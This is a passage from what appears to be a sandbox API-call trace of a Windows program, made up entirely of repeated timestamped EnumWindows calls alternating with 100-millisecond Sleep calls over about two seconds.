(dwMilliseconds=0x64) [0162.236] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.236] Sleep (dwMilliseconds=0x64) [0162.237] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.237] Sleep (dwMilliseconds=0x64) [0162.239] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.239] Sleep (dwMilliseconds=0x64) [0162.240] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.240] Sleep (dwMilliseconds=0x64) [0162.242] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.242] Sleep (dwMilliseconds=0x64) [0162.244] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.244] Sleep (dwMilliseconds=0x64) [0162.246] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.246] Sleep (dwMilliseconds=0x64) [0162.247] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.247] Sleep (dwMilliseconds=0x64) [0162.249] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.249] Sleep (dwMilliseconds=0x64) [0162.250] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.250] Sleep (dwMilliseconds=0x64) [0162.294] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.294] Sleep (dwMilliseconds=0x64) [0162.296] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.296] Sleep (dwMilliseconds=0x64) [0162.298] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.298] Sleep (dwMilliseconds=0x64) [0162.300] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.300] Sleep (dwMilliseconds=0x64) [0162.301] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.302] Sleep (dwMilliseconds=0x64) [0162.327] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.328] Sleep (dwMilliseconds=0x64) [0162.416] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.416] Sleep (dwMilliseconds=0x64) [0162.477] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.477] Sleep (dwMilliseconds=0x64) [0162.501] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.501] Sleep (dwMilliseconds=0x64) [0162.503] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.503] Sleep (dwMilliseconds=0x64) [0162.505] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.505] Sleep (dwMilliseconds=0x64) [0162.507] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.508] Sleep (dwMilliseconds=0x64) [0162.509] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.509] Sleep (dwMilliseconds=0x64) [0162.510] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.511] Sleep (dwMilliseconds=0x64) [0162.512] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.512] Sleep (dwMilliseconds=0x64) [0162.514] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.514] Sleep (dwMilliseconds=0x64) [0162.516] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.516] Sleep (dwMilliseconds=0x64) [0162.518] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.518] Sleep (dwMilliseconds=0x64) [0162.519] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.519] Sleep (dwMilliseconds=0x64) [0162.520] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.520] Sleep (dwMilliseconds=0x64) [0162.523] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.523] Sleep (dwMilliseconds=0x64) [0162.525] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.525] Sleep (dwMilliseconds=0x64) [0162.527] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.527] Sleep (dwMilliseconds=0x64) [0162.528] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.529] Sleep (dwMilliseconds=0x64) [0162.530] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.530] Sleep (dwMilliseconds=0x64) [0162.531] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.531] Sleep (dwMilliseconds=0x64) [0162.534] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.534] Sleep (dwMilliseconds=0x64) [0162.535] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.536] Sleep (dwMilliseconds=0x64) [0162.537] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.537] Sleep (dwMilliseconds=0x64) [0162.539] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.539] Sleep (dwMilliseconds=0x64) [0162.541] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.542] Sleep (dwMilliseconds=0x64) [0162.543] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.544] Sleep (dwMilliseconds=0x64) [0162.545] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.546] Sleep (dwMilliseconds=0x64) [0162.547] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.547] Sleep (dwMilliseconds=0x64) [0162.549] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.549] Sleep (dwMilliseconds=0x64) [0162.551] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.551] Sleep (dwMilliseconds=0x64) [0162.553] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.553] Sleep (dwMilliseconds=0x64) [0162.554] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.555] Sleep (dwMilliseconds=0x64) [0162.557] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.557] Sleep (dwMilliseconds=0x64) [0162.559] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.560] Sleep (dwMilliseconds=0x64) [0162.561] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.561] Sleep (dwMilliseconds=0x64) [0162.563] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.563] Sleep (dwMilliseconds=0x64) [0162.565] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.565] Sleep (dwMilliseconds=0x64) [0162.567] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.567] Sleep (dwMilliseconds=0x64) [0162.568] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.569] Sleep (dwMilliseconds=0x64) [0162.570] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.570] Sleep (dwMilliseconds=0x64) [0162.572] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.572] Sleep (dwMilliseconds=0x64) [0162.586] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.586] Sleep (dwMilliseconds=0x64) [0162.635] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.635] Sleep (dwMilliseconds=0x64) [0162.636] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.637] Sleep (dwMilliseconds=0x64) [0162.638] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.638] Sleep (dwMilliseconds=0x64) [0162.639] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.639] Sleep (dwMilliseconds=0x64) [0162.641] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.641] Sleep (dwMilliseconds=0x64) [0162.643] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.643] Sleep (dwMilliseconds=0x64) [0162.644] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.644] Sleep (dwMilliseconds=0x64) [0162.646] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.646] Sleep (dwMilliseconds=0x64) [0162.648] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.648] Sleep (dwMilliseconds=0x64) [0162.649] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.650] Sleep (dwMilliseconds=0x64) [0162.651] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.651] Sleep (dwMilliseconds=0x64) [0162.652] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.653] Sleep (dwMilliseconds=0x64) [0162.654] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.654] Sleep (dwMilliseconds=0x64) [0162.655] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.656] Sleep (dwMilliseconds=0x64) [0162.658] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.658] Sleep (dwMilliseconds=0x64) [0162.659] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.660] Sleep (dwMilliseconds=0x64) [0162.661] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.661] Sleep (dwMilliseconds=0x64) [0162.663] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.664] Sleep (dwMilliseconds=0x64) [0162.695] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.695] Sleep (dwMilliseconds=0x64) [0162.698] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.698] Sleep (dwMilliseconds=0x64) [0162.699] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.700] Sleep (dwMilliseconds=0x64) [0162.701] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.701] Sleep (dwMilliseconds=0x64) [0162.703] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.703] Sleep (dwMilliseconds=0x64) [0162.704] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.705] Sleep (dwMilliseconds=0x64) [0162.706] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.706] Sleep (dwMilliseconds=0x64) [0162.708] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.708] Sleep (dwMilliseconds=0x64) [0162.800] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.801] Sleep (dwMilliseconds=0x64) [0162.861] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.861] Sleep (dwMilliseconds=0x64) [0162.904] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.905] Sleep (dwMilliseconds=0x64) [0162.940] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.940] Sleep (dwMilliseconds=0x64) [0162.961] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.961] Sleep (dwMilliseconds=0x64) [0162.962] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.962] Sleep (dwMilliseconds=0x64) [0162.964] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.964] Sleep (dwMilliseconds=0x64) [0162.966] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.966] Sleep (dwMilliseconds=0x64) [0162.967] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.967] Sleep (dwMilliseconds=0x64) [0162.971] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.971] Sleep (dwMilliseconds=0x64) [0162.988] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.988] Sleep (dwMilliseconds=0x64) [0162.990] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.990] Sleep (dwMilliseconds=0x64) [0162.994] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.994] Sleep (dwMilliseconds=0x64) [0162.996] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.996] Sleep (dwMilliseconds=0x64) [0162.997] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.997] Sleep (dwMilliseconds=0x64) [0162.999] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0162.999] Sleep (dwMilliseconds=0x64) [0163.001] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.001] Sleep (dwMilliseconds=0x64) [0163.004] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.004] Sleep (dwMilliseconds=0x64) [0163.008] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.008] Sleep (dwMilliseconds=0x64) [0163.010] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.010] Sleep (dwMilliseconds=0x64) [0163.011] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.011] Sleep (dwMilliseconds=0x64) [0163.013] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.013] Sleep (dwMilliseconds=0x64) [0163.014] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.014] Sleep (dwMilliseconds=0x64) [0163.016] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.016] Sleep (dwMilliseconds=0x64) [0163.017] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.017] Sleep (dwMilliseconds=0x64) [0163.019] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.019] Sleep (dwMilliseconds=0x64) [0163.020] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.021] Sleep (dwMilliseconds=0x64) [0163.022] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.022] Sleep (dwMilliseconds=0x64) [0163.024] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.024] Sleep (dwMilliseconds=0x64) [0163.025] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.025] Sleep (dwMilliseconds=0x64) [0163.027] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.027] Sleep (dwMilliseconds=0x64) [0163.029] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.029] Sleep (dwMilliseconds=0x64) [0163.035] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.035] Sleep (dwMilliseconds=0x64) [0163.037] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.037] Sleep (dwMilliseconds=0x64) [0163.039] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.039] Sleep (dwMilliseconds=0x64) [0163.139] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.139] Sleep (dwMilliseconds=0x64) [0163.208] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.209] Sleep (dwMilliseconds=0x64) [0163.322] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.323] Sleep (dwMilliseconds=0x64) [0163.338] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.338] Sleep (dwMilliseconds=0x64) [0163.340] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.340] Sleep (dwMilliseconds=0x64) [0163.341] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.341] Sleep (dwMilliseconds=0x64) [0163.343] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.343] Sleep (dwMilliseconds=0x64) [0163.345] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.345] Sleep (dwMilliseconds=0x64) [0163.347] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.347] Sleep (dwMilliseconds=0x64) [0163.349] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.350] Sleep (dwMilliseconds=0x64) [0163.352] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.352] Sleep (dwMilliseconds=0x64) [0163.354] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.354] Sleep (dwMilliseconds=0x64) [0163.356] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.356] Sleep (dwMilliseconds=0x64) [0163.357] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.357] Sleep (dwMilliseconds=0x64) [0163.359] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.359] Sleep (dwMilliseconds=0x64) [0163.360] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.360] Sleep (dwMilliseconds=0x64) [0163.362] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.362] Sleep (dwMilliseconds=0x64) [0163.364] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.364] Sleep (dwMilliseconds=0x64) [0163.366] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.366] Sleep (dwMilliseconds=0x64) [0163.368] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.368] Sleep (dwMilliseconds=0x64) [0163.370] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.370] Sleep (dwMilliseconds=0x64) [0163.371] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.371] Sleep (dwMilliseconds=0x64) [0163.373] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.373] Sleep (dwMilliseconds=0x64) [0163.374] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.374] Sleep (dwMilliseconds=0x64) [0163.382] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.382] Sleep (dwMilliseconds=0x64) [0163.384] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.384] Sleep (dwMilliseconds=0x64) [0163.386] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.386] Sleep (dwMilliseconds=0x64) [0163.387] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.387] Sleep (dwMilliseconds=0x64) [0163.389] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.389] Sleep (dwMilliseconds=0x64) [0163.390] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.390] Sleep (dwMilliseconds=0x64) [0163.392] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.392] Sleep (dwMilliseconds=0x64) [0163.393] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.393] Sleep (dwMilliseconds=0x64) [0163.395] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.395] Sleep (dwMilliseconds=0x64) [0163.397] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.397] Sleep (dwMilliseconds=0x64) [0163.398] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.398] Sleep (dwMilliseconds=0x64) [0163.400] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.400] Sleep (dwMilliseconds=0x64) [0163.401] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.401] Sleep (dwMilliseconds=0x64) [0163.403] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.403] Sleep (dwMilliseconds=0x64) [0163.405] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.405] Sleep (dwMilliseconds=0x64) [0163.407] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.407] Sleep (dwMilliseconds=0x64) [0163.409] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.409] Sleep (dwMilliseconds=0x64) [0163.411] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.411] Sleep (dwMilliseconds=0x64) [0163.412] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.412] Sleep (dwMilliseconds=0x64) [0163.504] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.504] Sleep (dwMilliseconds=0x64) [0163.603] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.603] Sleep (dwMilliseconds=0x64) [0163.617] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.617] Sleep (dwMilliseconds=0x64) [0163.619] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.619] Sleep (dwMilliseconds=0x64) [0163.621] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.622] Sleep (dwMilliseconds=0x64) [0163.623] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.623] Sleep (dwMilliseconds=0x64) [0163.624] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.624] Sleep (dwMilliseconds=0x64) [0163.626] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.626] Sleep (dwMilliseconds=0x64) [0163.627] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.627] Sleep (dwMilliseconds=0x64) [0163.629] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.629] Sleep (dwMilliseconds=0x64) [0163.630] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.630] Sleep (dwMilliseconds=0x64) [0163.632] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.632] Sleep (dwMilliseconds=0x64) [0163.635] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.635] Sleep (dwMilliseconds=0x64) [0163.636] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.636] Sleep (dwMilliseconds=0x64) [0163.638] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.638] Sleep (dwMilliseconds=0x64) [0163.639] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.640] Sleep (dwMilliseconds=0x64) [0163.641] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.641] Sleep (dwMilliseconds=0x64) [0163.643] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.643] Sleep (dwMilliseconds=0x64) [0163.644] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.645] Sleep (dwMilliseconds=0x64) [0163.646] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.646] Sleep (dwMilliseconds=0x64) [0163.647] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.647] Sleep (dwMilliseconds=0x64) [0163.649] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.649] Sleep (dwMilliseconds=0x64) [0163.672] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.672] Sleep (dwMilliseconds=0x64) [0163.675] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.675] Sleep (dwMilliseconds=0x64) [0163.677] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.677] Sleep (dwMilliseconds=0x64) [0163.679] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.679] Sleep (dwMilliseconds=0x64) [0163.680] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.681] Sleep (dwMilliseconds=0x64) [0163.683] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.684] Sleep (dwMilliseconds=0x64) [0163.685] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.685] Sleep (dwMilliseconds=0x64) [0163.686] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.687] Sleep (dwMilliseconds=0x64) [0163.688] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.688] Sleep (dwMilliseconds=0x64) [0163.690] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.690] Sleep (dwMilliseconds=0x64) [0163.691] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.692] Sleep (dwMilliseconds=0x64) [0163.693] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.693] Sleep (dwMilliseconds=0x64) [0163.694] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.694] Sleep (dwMilliseconds=0x64) [0163.696] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.696] Sleep (dwMilliseconds=0x64) [0163.697] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.698] Sleep (dwMilliseconds=0x64) [0163.702] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.702] Sleep (dwMilliseconds=0x64) [0163.703] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.703] Sleep (dwMilliseconds=0x64) [0163.705] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.705] Sleep (dwMilliseconds=0x64) [0163.706] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.707] Sleep (dwMilliseconds=0x64) [0163.710] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.710] Sleep (dwMilliseconds=0x64) [0163.711] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.712] Sleep (dwMilliseconds=0x64) [0163.713] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.713] Sleep (dwMilliseconds=0x64) [0163.715] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.715] Sleep (dwMilliseconds=0x64) [0163.716] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.717] Sleep (dwMilliseconds=0x64) [0163.718] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.719] Sleep (dwMilliseconds=0x64) [0163.721] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.721] Sleep (dwMilliseconds=0x64) [0163.723] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.723] Sleep (dwMilliseconds=0x64) [0163.725] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.725] Sleep (dwMilliseconds=0x64) [0163.727] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.728] Sleep (dwMilliseconds=0x64) [0163.730] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.730] Sleep (dwMilliseconds=0x64) [0163.733] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.733] Sleep (dwMilliseconds=0x64) [0163.835] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.835] Sleep (dwMilliseconds=0x64) [0163.841] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.842] Sleep (dwMilliseconds=0x64) [0163.843] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.844] Sleep (dwMilliseconds=0x64) [0163.845] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.846] Sleep (dwMilliseconds=0x64) [0163.847] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.848] Sleep (dwMilliseconds=0x64) [0163.849] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.850] Sleep (dwMilliseconds=0x64) [0163.851] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.851] Sleep (dwMilliseconds=0x64) [0163.853] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.853] Sleep (dwMilliseconds=0x64) [0163.943] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.943] Sleep (dwMilliseconds=0x64) [0163.954] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.955] Sleep (dwMilliseconds=0x64) [0163.956] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.956] Sleep (dwMilliseconds=0x64) [0163.958] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.958] Sleep (dwMilliseconds=0x64) [0163.959] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.959] Sleep (dwMilliseconds=0x64) [0163.964] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.964] Sleep (dwMilliseconds=0x64) [0163.965] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.965] Sleep (dwMilliseconds=0x64) [0163.967] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.967] Sleep (dwMilliseconds=0x64) [0163.969] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.969] Sleep (dwMilliseconds=0x64) [0163.971] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.971] Sleep (dwMilliseconds=0x64) [0163.972] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0163.972] Sleep (dwMilliseconds=0x64) [0164.165] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.165] Sleep (dwMilliseconds=0x64) [0164.167] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.167] Sleep (dwMilliseconds=0x64) [0164.168] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.168] Sleep (dwMilliseconds=0x64) [0164.170] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.170] Sleep (dwMilliseconds=0x64) [0164.172] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.172] Sleep (dwMilliseconds=0x64) [0164.174] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.174] Sleep (dwMilliseconds=0x64) [0164.176] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0164.177] Sleep (dwMilliseconds=0x64) [0164.178] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) 